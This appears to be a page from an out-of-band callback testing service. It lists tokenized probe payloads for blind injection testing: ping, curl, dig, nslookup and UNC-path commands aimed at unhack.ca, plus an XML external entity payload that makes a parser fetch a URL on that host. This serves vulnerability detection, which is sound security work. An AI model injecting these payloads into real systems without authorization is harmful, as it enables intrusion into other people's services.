$ ping -c1 -p 00b34bd73c974e6aa2eea4979531d900 unhack.ca
$ curl http://unhack.ca/p/b34bd73c974e6aa2eea4979531d9
$ dig b34bd73c974e6aa2eea4979531d9 @unhack.ca
$ dig b34bd73c974e6aa2eea4979531d9.ns.unhack.ca
C:\> nslookup b34bd73c974e6aa2eea4979531d9 unhack.ca
C:\> type \\unhack.ca\b34bd73c974e6aa2eea4979531d9\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/b34bd73c974e6aa2eea4979531d9">]>
<foo>&xxe;</foo>
Waiting for ping...